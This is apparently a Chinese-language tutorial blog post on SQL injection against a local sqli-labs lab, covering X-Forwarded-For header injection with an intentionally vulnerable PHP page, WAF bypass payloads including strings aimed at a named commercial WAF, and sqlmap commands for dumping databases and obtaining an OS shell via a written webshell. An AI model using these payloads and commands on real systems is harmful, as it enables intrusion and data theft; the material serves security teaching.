SQL注入

SQL注入之XFF注入

XFF,是X-Forwarded-for的缩写,

X-Forwarded-For 是一个 HTTP 扩展头部。,用来表示 HTTP 请求端真实 IP

XFF注入是SQL注入的一种,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。X-Forwarded-for 可以随意设置字符串,如果程序中获取这个值,再带入数据库查询会造成 SQL 注入。 除了 X-Forwarded-For ,还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候,没有过滤会造成 SQL注入或者更高的危害。

1.防止登录次数 登录马士兵 根据IP地址

2.防止异地登录 IP地址

XFF的危害

①数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

②网页篡改:通过操作数据库对特定网页进行篡改。

③网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

④数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。

⑤服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

靶场源码:

复制代码
<?php
  $con=mysqli_connect("localhost","root","root","test");
  if (mysqli_connect_errno())
  {
  	echo "连接失败: " . mysqli_connect_error();
  }
   if(getenv('HTTP_CLIENT_IP')) {
    $ip = getenv('HTTP_CLIENT_IP');
  } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
    $ip = getenv('HTTP_X_FORWARDED_FOR');
  } elseif(getenv('REMOTE_ADDR')) {
    $ip = getenv('REMOTE_ADDR');
  } else {
    $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
  }
 $result = mysqli_query($con,"select * from user where `ip`='$ip'");
  if (!$result) {
    printf("Error: %s\n", mysqli_error($con));
    exit();
  }
  $row = mysqli_fetch_array($result);
  echo $row['username'] . " : " . $row['password'];
  echo "<br>";
  echo 1111;
?>

getenv(' HTTP_CLIENT_IP ')是获取当前客户端的IP

可以伪造

如果你用代理服务器接访问的,,它记录的就是代理服务器的IP,而不是真实的用户IP

也就是说,这个ip地址可以进行伪造的

HTTP_CLIENT_IP: 获取当前客户端的IP

HTTP_X_FORWARDED_FOR: 浏览当前页面的用户计算机的网关

REMOTE_ADDR: 浏览当前页面的用户计算机的ip地址

getenv() : 获取当前系统的环境变量

前面我讲了各种各样的注入方式,而实战里面网站里面是安装了防火墙对于sql注入有过滤,现在我们来了解一下waf绕过。

SQL注入之WAF绕过

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

绕过分为三种

数据 大小写 加密解密 编码解码 等价函数 特殊符号 反序列化 注释符混用

方式 更改提交方式 变异

其他 Fuzz 数据库特性 垃圾数据溢出

关键词大小写绕过

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

举例:

union select --> unIOn SeLect

id=1 And 1=1

database()会被拦截 /**/内联注释

select * database /**/ ();

select * from /*这是注释*/ from users;

编码绕过

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23

双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

举例:UNIunionON ,SELselectECT anandd

换行(\N)绕过

举例:select * from admin where username = \N union select 1,user() from admin

注释符内联注释绕过:

union selecte =/*!union*/ select 感叹号后面会执行 安全狗3.5以上绕不过

注释符里感叹号后面的内容会被mysql执行。

同义词替换

and=&&

or=||

=(等于号)=<、>

空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

注:%0a是换行也可以替代空格

HTTP参污染

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

举例:?id=1&id=2&id=3 a=1&a=2&a=4

?id=1/**&id=-1%20union%20select%201,2,3%23*/

安全狗4.0绕过 union /*//--/*/ /*!--+/*%0a select/*!1,2,3*/ --+

/*!--+/*%0a、

%0a换行符

select * from

t1;

WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性

order by绕过:%20/*//--/*/ V4.0
联合绕过:union /*!--+/*%0aselect/*!1,2,3*/ --+
from绕过: /*!06447%23%0afrom*/

SQL注入之sqlmap使用(get型注入)

一、SQLMap介绍
1、Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

2、Sqlmap支持的注入方式:

Sqlmap全面支持六种SQL注入技术:

  • 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。

  • 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

  • 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。

  • 联合查询注入:在可以使用Union的情况下的注入。

  • 堆查询注入:可以同时执行多条语句时的注入。

  • 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

二、SQLMap使用:
1、判断是否存在注入:

假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:

复制代码
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
​

当注入点后面的参数大于等于两个时,需要加双引号,如下所示。

复制代码
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"
​

运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在"level1、risk1"的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

常用命令:

-u:用于get提交方式,后面跟注入的url网址

--level

--risk

--dbs:获取所有数据库

--tales:获取所有数据表

--columns:获取所有字段

--dump:打印数据

-D:查询选择某个库

-T:查询选择某个表

-C:查询选择某个字段

level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,

当>=3时检查user-agent和refereer

risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,

3会增加or语句的sql注入

按下回车以后,最下面会提示扫描出来的数据类型是mysql,问是否再次测试一下其他数据库,按下n以后

按下n

这里出现疑似注入点,是否扫描其他的注入点。按下n以后

这里扫描结果出来了

而前面level参数是扫描的广度,等级越高,扫描深度越广泛

这里dbs可以扫描出数据库信息

类似--tables 和--colum,这里是查询test数据库下面所有表名,-D可以指定数据库

查出一张表


而下面-T可以指定某个表,这里是查询test数据库t1表下面的字段

另外可以查询字段下面记录,-C指定字段名 --dump打印

SQL注入之sqlmap使用(post注入)

POST型:与数据库交互是通过post数据进行,URL不可见

利用sqlmap进行POST注入,常见的有三种方法:

注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为1.txt,然后把它放至某个目录下

2.列数据库:

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs -p指定参数

也可以使用 * 指定需要测试的参数

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试,您想要包括所有针对"MySQL"扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"Y"

3.猜表

选择一个数据库,比如选test

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test --tables

4.猜列

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test -T t1 --columns

注入方式二:自动搜索表单的方式

sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms

do you want to test this form? [Y/n/q] 要测试此表单吗?[Y/n/q] 输入"Y"

do you want to fill blank fields with random values? [Y/n] 是否要填充带有随机值的空白字段? [Y/n] 输入"Y"

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试,您想要包括所有针对"MySQL"扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"

do you want to exploit this SQL injection? [Y/n] 你想利用SQL注入? 输入"Y"

常用命令:

-r表示加载一个文件,-p指定参数

--current-db 显示当前数据库

--forms 自动检测表单

-data

SQL注入之sqlmap获取shell

--os-shell的执行条件有四个:

(1)网站数据库必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,PHP主动转义的功能关闭

(4)secure_file_priv无限制

首先使用 --is-dba命令查看是否为管理员,若不是,则无法使用--os-shell命令。true是管理员,不是管理员显示为false

或者可以使用 --users 查看账号权限

sqlmap -r 1.txt --users --level=3

使用 --os-shell命令,存在注入点后,会提示需要选择语言

选择路径

选项一为用这几个路径

选项二为用户自己输入

选项三为用用户的字典

选项四为爆破。

尝试写入一句话木马

写入成功

os-shell 执行原理

--os-shell的本质就是写入两个php文件,其中的tmpumjti.php可以让我们上传文件到网站路径下

sqlmap就会通过上面这个php上传一个用于命令执行的tmpubpwk.php到网站路径下让我们命令执行,并将输出的内容返回sqlmap端。

获取shell前

获取shell后

总结 sqlmap的--os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

相关推荐
Y4090011 小时前
SQL语言增删改查之C与R
数据库·笔记·sql
lhxcc_fly9 小时前
Mysql系列--9、事务
数据库·mysql·事务
XYiFfang11 小时前
【mysql】SQL 中 IS 与 = 的区别:一个 NULL 值引发的思考
数据库·sql·mysql
one year.13 小时前
MySQL表的约束
数据库·mysql
only_Klein14 小时前
mysql双机热备(主主模式)
数据库·mysql·adb
共享家952714 小时前
MySQL-内置函数
数据库·mysql
得意霄尽欢14 小时前
MySQL底层数据结构与算法浅析
数据库·mysql
叫我阿柒啊15 小时前
Java全栈工程师的面试实战:从技术细节到业务场景
java·数据库·spring boot·微服务·vue·全栈开发·面试技巧